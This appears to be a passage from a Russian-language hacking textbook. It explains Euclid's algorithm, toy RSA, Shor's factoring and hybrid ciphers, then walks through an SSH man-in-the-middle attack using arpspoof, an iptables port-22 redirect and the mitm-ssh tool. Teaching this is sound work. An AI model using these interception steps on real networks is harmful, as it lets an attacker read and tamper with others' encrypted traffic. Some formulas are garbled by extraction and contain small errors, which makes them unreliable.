ритм Евклида – это очень старый алгоритм, позволяющий быстро вы- числить наибольший общий делитель (НОД, GCD) двух чисел. Большее из двух чисел делится на меньшее, и принимается во внимание только остаток. Затем меньшее число делится на остаток, и процедура повто- ряется до тех пор, пока остаток не станет равен нулю. Последнее отлич- ное от нуля значение остатка и будет наибольшим общим делителем исходных чисел. Этот алгоритм действует очень быстро и имеет слож- ность O(log
10
N). Это означает, что для получения результата надо вы- полнить примерно столько шагов, сколько цифр в большем из двух чи- сел.
В следующей таблице вычисляется НОД чисел 7253 и 120, что записы- вается в виде НОД(7253, 120). Сначала в столбцы A и B таблицы поме- щаются исходные два числа, причем большее из них – в столбец A. За- тем A делится на B, и остаток помещается в столбец R. В следующей строке прежнее B становится новым A, а прежнее R становится новым
B. Снова вычисляется R, и процедура повторяется, пока остаток не ста- нет равен нулю. Последнее значение R перед достижением нуля явля- ется наибольшим общим делителем.
НОД(7253, 120)
A
B
R
7253 120 53 120 53 14 53 14 11 14 11 3
11 3
2 3
2 1
2 1
0
Итак, наибольший общий делитель 7253 и 120 равен 1. Это означает, что 7253 и 120 взаимно просты.
Расширенный алгоритм Евклида позволяет найти два числа J и K, та- кие что
J × A + K × B = R,
если НОД(A, B) = R.
446
0x700 Криптология
Для этого алгоритм Евклида прокручивается в обратном направлении.
Но теперь имеет значение и частное. Приведем еще раз арифметиче- ские действия из предыдущего примера вместе с частными:
7253 = 60 × 120 + 53
120 = 2 × 53 + 14
53 = 3 × 14 + 11
14 = 1 × 11 + 3
11 = 3 × 3 + 2
3 = 1 × 2 + 1
Элементарными алгебраическими действиями переместим в каждой строке члены так, чтобы слева от знака равенства остался только оста- ток (выделен полужирным).
53 = 7253 – 60 × 120
14 = 120 – 2 × 53
11 = 53 – 3 × 14
3 = 14 – 1 × 11
2 = 11 – 3 × 3
1 = 3 – 1 × 2
Из нижней строки ясно, что
1 = 3 – 1 × 2
Предпоследняя строка показывает, что 2 = 11 – 3 × 3, благодаря чему можно заменить 2:
1 = 3 – 1 × (11 – 3 × 3)
1 = 4 × 3 – 1 × 11
Предыдущая строка показывает, что 3 = 14 – 1 × 11, откуда получаем замену для 3:
1 = 4 × (14 – 1 × 11) – 1 × 11 1 = 4 × 14 – 5 × 11
Разумеется, предшествующая строка показывает, что 11 = 53 – 3 × 14, и предлагает очередную замену:
1 = 4 × 14 – 5 × (53 – 3 × 14)
1 = 19 × 14 – 5 × 53
По той же схеме предшествующая строка показывает, что 14 = 120 –
2 × 53, и дает новую подстановку:
1 = 19 × (120 – 2 × 53) – 5 × 53 1 = 19 × 120 – 43 × 53
0x740 Асимметричное шифрование
447Наконец верхняя строка показывает, что 53 = 7253 – 60 × 120, и предо- ставляет последнюю подстановку:
1 = 19 × 120 – 43 × (7253 – 60 × 120)
1 = 2599 × 120 – 43 × 7253 2599 × 120 + –43 × 7253 = 1
Отсюда видно, что
J и
K соответственно равны 2599 и –43.
Числа предыдущего примера были выбраны как соответствующие тре- бованиям RSA. В предположении, что
P и
Q равны 11 и 13, получаем
N равным 143. Следовательно, f(
N) = 120 = (11 – 1) × (13 – 1). Поскольку
7253 взаимно простое с 120, это число отлично подходит в качестве
E.
Теперь вспоминаем, что нашей задачей было найти такое
D, которое удовлетворяет уравнению:
E ×
D =
S × f(
N) + 1
Элементарными действиями приводим его к более знакомому виду:
D ×
E +
S × f(
N) = 1
D × 7253 ±
S × 120 = 1
Расширенный
алгоритм Евклида показывает, что
D = –43. Значение
S для нас не существенно; оно лишь указывает, что действия выполня- ются по модулю f(
N), то есть 120. Поэтому равносильным положитель- ным значением
D будет 77, так как 120 – 43 = 77. Можно подставить его в первое из приведенных уравнений:
E ×
D =
S × f (
N) + 1 7253 × 77 = 4564 × 120 + 1
Значения
N и
E распространяются в качестве открытого ключа, а
D хранится в качестве секретного ключа.
P и
Q не нужны. Функции шифрования и дешифрования очень просты.
Шифрование:
C =
ME(mod
N)
Дешифрование:
M =
CD(mod
N)
Например, если сообщение
M представляет собой 98, шифрование бу- дет выглядеть так:
98 7253
= 76(mod143)
Зашифрованным текстом будет 76. Теперь только тот, кто знает зна- чение
D, может расшифровать сообщение и восстановить число 98 по числу 76:
76 77
= 98(mod143)
Очевидно, что если сообщение
M больше, чем
N, его надо разбить на фрагменты, которые меньше
N.
448
0x700 Криптология
Вся эта процедура основана на теореме Эйлера, которая утверждает, что если M и N взаимно просты и M меньше N, то если умножить M на себя f(N) раз и разделить на N, в остатке получится 1:
Если НОД(M, N) = 1 и M < N, то M f(N)
= 1 (modN)
Поскольку все выполняется по модулю N, справедливо и следующее, так как умножение выполняется по модулю:
M
f(N)
× M f(N)
= 1 × 1(modN)
M
2 × f(N)
= 1(modN)
Эту процедуру можно повторить S раз и получить:
M
S × f(N)
= 1(modN)
Умножив обе части на M, получим:
M
S × f(N)
× M= 1 × M(modN)
M
S × f(N)+1
= M(modN)
На этом уравнении и основывается RSA. Число M, возведенное в сте- пень по модулю N, снова дает исходное число M. По существу это функ- ция, которая возвращает то, что получила на входе, что само по себе не так интересно. Но это уравнение можно разбить на две части и одну часть использовать для шифрования, а другую – для дешифрования, получая исходное сообщение. Это можно сделать, найдя два числа E и D, произведение которых равно S, умноженному на f(N) + 1. Тогда это значение можно подставить в предыдущее уравнение.
E × D = S × f(N) + 1
M
E × D
= M(modN)
Это эквивалентно
(M
E
)
D
= M(modN),
что можно разбить на два шага:
M
E
= C(modN)
C
D
= M(modN)
Это суть RSA. Надежность алгоритма связана с сохранением в тайне D.
Поскольку N и E – открытые величины, то если разложить N в произ- ведение P и Q, можно легко вычислить f(N) как (P – 1) × (Q – 1) и опре- делить D с помощью расширенного алгоритма Евклида. Поэтому для обеспечения практической стойкости размер ключей для RSA нужно выбирать с учетом лучшего из известных алгоритмов факторизации.
В настоящее время лучшим из известных алгоритмов для больших чи- сел является решето числового поля (number field sieve, NFS). У этого алгоритма субэкспоненциальное время выполнения, что очень непло- хо, но этого недостаточно для взлома 2048-разрядного ключа RSA за приемлемое время.
0x740 Асимметричное шифрование
449
0x742 Алгоритм квантовой факторизации Питера Шора
И снова квантовые вычисления обещают нам потрясающий рост вы- числительных возможностей. Питер Шор (Peter Shor) смог применить массовый параллелизм квантовых компьютеров для эффективного раз- ложения чисел на множители с помощью старого теоретико-числового приема.
В действительности алгоритм очень прост. Возьмем число N, которое требуется разложить на множители. Выберем число A меньше N. Это число также должно быть взаимно простым с N, но предполагая, что N представляет собой произведение двух простых чисел (а если мы взла- мываем RSA, то так оно и есть), то если A не взаимно простое с N, то A является одним из делителей N.
Затем загрузим в суперпозицию порядковые числа начиная с 1 и пода- дим их все на вход функции f(x) = A
x
(modN). Все это происходит од- новременно благодаря чудесам квантовых вычислений. Результаты должны иметь периодический вид, и надо найти величину этого пе- риода. К счастью, на квантовом компьютере это можно быстро осуще- ствить с помощью преобразования Фурье. Обозначим период как R.
Теперь вычислим НОД(A
R/2
+ 1, N) и НОД(A
R/2
– 1, N). Хотя бы одно из этих чисел должно быть делителем N. Это возможно, поскольку A
R
=
1(modN), и видно из следующих преобразований, что:
A
R
= 1(modN)
(A
R/2
)
2
= 1(modN)
(A
R/2
)
2
– 1 = 0(modN)
(A
R/2
– 1) × (A
R/2
+ 1) = 0(modN)
Это означает, что (A
R/2
– 1) × (A
R/2
+ 1) кратно N. Если ни один из этих со- множителей не равен нулю, то у какого-то из них есть общий множи- тель с N.
Чтобы взломать предыдущий пример RSA, надо разложить на множи- тели опубликованное значение N. В нашем случае N равно 143. Затем выберем значение A меньше N, взаимно простое с N, и положим A рав- ным 21. Функция будет иметь вид f(x) = 21
x
(mod143). Через нее пройдут все порядковые числа, начиная с 1 и до предела, достижимого при по- мощи квантового компьютера.
Для краткости предположим, что в квантовом компьютере будет три квантовых разряда, поэтому суперпозиция может хранить восемь зна- чений.
x
= 1 21 1
(mod143) = 21
x
= 2 21 2
(mod143) = 12
4500x700 Криптология
x = 3 21 3
(mod143) = 109
x = 4 21 4
(mod143) = 1
x = 5 21 5
(mod143) = 21
x = 6 21 6
(mod143) = 12
x = 7 21 7
(mod143) = 109
x = 8 21 8
(mod143) = 1
Здесь легко определить период на глаз:
R = 4. Отсюда получаем, что среди НОД(21 2
– 1143) и НОД(21 2
+ 1143) должен быть хотя бы один из множителей
N. Фактически мы получим оба множителя, потому что
НОД(440, 143) = 11 и НОД(442, 142) = 13. Зная эти множители, можно вычислить секретный ключ для прежнего примера RSA.
0x750 Гибридные шифрыВ
гибридных криптосистемах стараются объединить достоинства сис- тем обоих типов. Асимметричный шифр применяется для
обмена слу- чайно генерируемыми ключами, а эти ключи применяются для шифро- вания информации симметричным шифром. Благодаря этому обеспе- чиваются эффективность и скорость симметричного шифра, а также решается проблема защищенного обмена ключами. Гибридные шифры применяются в большинстве современных криптографических прило- жений, таких как SSL, SSH и PGP.
Поскольку в большинстве приложений применяются шифры, устойчи- вые к криптоанализу, атака на шифр обычно оказывается безрезуль- татной. Однако если атакующий может перехватывать данные, кото- рыми обмениваются корреспонденты, выдавая себя за кого-то из них, то возможна атака на алгоритм обмена ключами.
0x751 Атака «человек посередине» (MitM)Атака типа
«человек посередине» (MitM, Man in the Middle) представ- ляет собой искусный способ обмануть шифрование.
Атакующий нахо- дится между двумя корреспондентами, которые считают, что связа- ны друг с другом, тогда как в действительности каждый из них связан с атакующим.
Когда между двумя корреспондентами устанавливается шифрованное соединение, генерируется секретный ключ, который передается с помо- щью асимметричного шифра. Обычно этот ключ применяется для шиф- рования последующего обмена данными между корреспондентами. По- скольку ключ передается защищенным образом, а все передаваемые
0x750 Гибридные шифры
451
впоследствии данные защищены этим ключом, весь этот трафик оказы- вается недоступным для чтения потенциальному перехватчику.
Однако при атаке «человек посередине» корреспондент A считает, что обменивается данными с Б, а Б считает, что обменивается данными с A, хотя в реальности оба обмениваются данными с атакующим. По- этому когда A договаривается об установлении закрытого соединения с Б, фактически он открывает шифрованное соединение с атакующим, в ходе которого последний, используя асимметричное шифрование, узнает секретный ключ. После этого атакующему надо открыть второе закрытое соединение с Б, и Б будет считать, что связался с А, как пока- зано на рис. 7.1.
Атакующий
Закрытое соединение с ключом 1
Закрытое соединение с ключом 2
Притворяется системой Б
Притворяется системой A
Система А
Система Б
Системы A и Б считают,
что поддерживают связь между собой
Рис. 7.1. Атака MitM
Это значит, что атакующий фактически поддерживает два разных шиф- руемых канала связи с двумя разными ключами шифрования. Пакеты от А шифруются с первым ключом и посылаются атакующему, которо- го А принимает за Б. Атакующий дешифрует эти пакеты с первым клю- чом и снова шифрует со вторым ключом. Затем атакующий пересылает новые пакеты Б, а Б считает отправителем этих пакетов А. Находясь по- середине и располагая двумя разными ключами, атакующий может пе- рехватывать и даже изменять трафик между ничего не подозревающи- ми А и Б.
После того как трафик будет перенаправлен с помощью средств, ко- торые портят кэш ARP, можно воспользоваться одним из инструмен- тов, разработанных для SSH-атаки типа «человек посредине». В основ- ном они базируются на исходном коде openssh. Примером служит па- кет mitm-ssh Клаэса Нюберга (Claes Nyberg), имеющийся на загрузоч- ном диске. От прочих аналогичных средств этот пакет отличается от- крытым доступом и большей надежностью. В уже собранном виде он помещен на загрузочный диск в каталог /usr/src/mitm-ssh. Во время работы этот пакет принимает соединения на заданном порту, а затем пересылает их на настоящий IP-адрес сервера SSH. С помощью про-
4520x700 Криптология граммы
arpspoof, осуществляющей атаку ARP-переадресации, трафик к серверу SSH можно перенаправить на машину атакующего, где ра- ботает
mitm-ssh. Так как программа принимает соединения на локаль- ном узле, для переадресации трафика нужно задать некоторые прави- ла фильтрации IP.
Ниже приводится пример, в котором сервер SSH находится на узле
192.168.42.72. Запущенный
mitm-ssh ждет соединений на порте 2222, поэтому запускать его с правами суперпользователя не нужно. Коман- да iptables требует от Linux перенаправлять все входящие соединения
TCP с порта 22 на порт 2222 локального узла, где сидит
mitm-ssh.
reader@hacking: $ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j
REDIRECT --to-ports 2222
reader@hacking: $ sudo iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
REDIRECT tcp -- anywhere anywhere tcp dpt:ssh redir ports 2222
Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination reader@hacking: $ mitm-ssh
/|\ SSH Man In The Middle [Based on OpenSSH_3.9p1]
_|_ By CMN
Usage: mitm-ssh [option(s)]
Routes:
Скачать 2.5 Mb.